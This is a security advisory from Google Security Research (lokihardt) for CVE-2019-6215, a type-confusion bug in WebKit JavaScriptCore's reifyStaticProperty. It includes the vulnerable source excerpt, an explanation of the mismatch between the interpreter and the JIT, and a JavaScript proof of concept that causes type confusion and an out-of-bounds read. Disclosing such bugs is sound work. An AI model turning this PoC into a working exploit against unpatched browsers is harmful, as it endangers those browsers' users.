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WebKit JSC reifyStaticProperty Attribute Flag Issue

WebKit JSC reifyStaticProperty Attribute Flag Issue
Posted Feb 21, 2019
Authored by Google Security Research, lokihardt

WebKit JSC has an issue where reifyStaticProperty needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter.

tags | exploit
advisories | CVE-2019-6215
MD5 | f76ec921b78dcbb720528b54c5ba83f3

WebKit JSC reifyStaticProperty Attribute Flag Issue

Change Mirror Download
WebKit: JSC: reifyStaticProperty needs to set the PropertyAttribute::CustomAccessor flag for CustomGetterSetter 

CVE-2019-6215


<a href="https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392" title="" class="" rel="nofollow">https://github.com/WebKit/webkit/blob/3fff8c40c665a09de5e3ede46fc35908f69353c3/Source/JavaScriptCore/runtime/Lookup.h#L392</a>

if (value.attributes() & PropertyAttribute::PropertyCallback) {
JSValue result = value.lazyPropertyCallback()(vm, &thisObj);
thisObj.putDirect(vm, propertyName, result, attributesForStructure(value.attributes()));
return;
}

if (value.attributes() & PropertyAttribute::DOMJITAttribute) {
ASSERT_WITH_MESSAGE(classInfo, "DOMJITAttribute should have class info for type checking.");
const DOMJIT::GetterSetter* domJIT = value.domJIT();
auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, domJIT->getter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, domJIT });
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
return;
}

if (value.attributes() & PropertyAttribute::DOMAttribute) {
ASSERT_WITH_MESSAGE(classInfo, "DOMAttribute should have class info for type checking.");
auto* customGetterSetter = DOMAttributeGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter(), DOMAttributeAnnotation { classInfo, nullptr });
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));
return;
}

CustomGetterSetter* customGetterSetter = CustomGetterSetter::create(vm, value.propertyGetter(), value.propertyPutter());
thisObj.putDirectCustomAccessor(vm, propertyName, customGetterSetter, attributesForStructure(value.attributes()));

It's possible that the given property's attributes variable "value.attributes()" doesn't contain PropertyAttribute::CustomAccessor. In that case, a mismatch between the value of the property and its attributes occurs. When handling a property access operation, the normal interpreter sees the type of the value whereas the JIT compiler sees the attributes. So we can use JITed code to pull out the CustomGetterSetter object to the JavaScript world. The PoC demonstrates type confusion and an OOB read using a CustomGetterSetter object linked to regExpConstructorInput.

PoC:
function opt(o) {
return o.r.input;
}

Object.assign({}, RegExp); // Reifying

for (let i = 0; i < 200000; i++) {
opt({r: RegExp});
}

let input = opt({r: RegExp}); // Pulling the CustomGetterSetter object.

let o = {
a0: 0x1234,
a1: 0x1234,
a2: 0x1234,
a3: 0x1234,
a4: 0x1234,
a5: 0x1234,
a6: 0x1234,
a7: 0x1234,
a8: 0x1234,
a9: 0x1234,
a10: 0x1234,
a11: 0x1234,
}

o.input = input;

print(o.input); // The normal interpreter doesn't see the attributes, so it will just call the underneath getter using callCustomGetter.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: lokihardt

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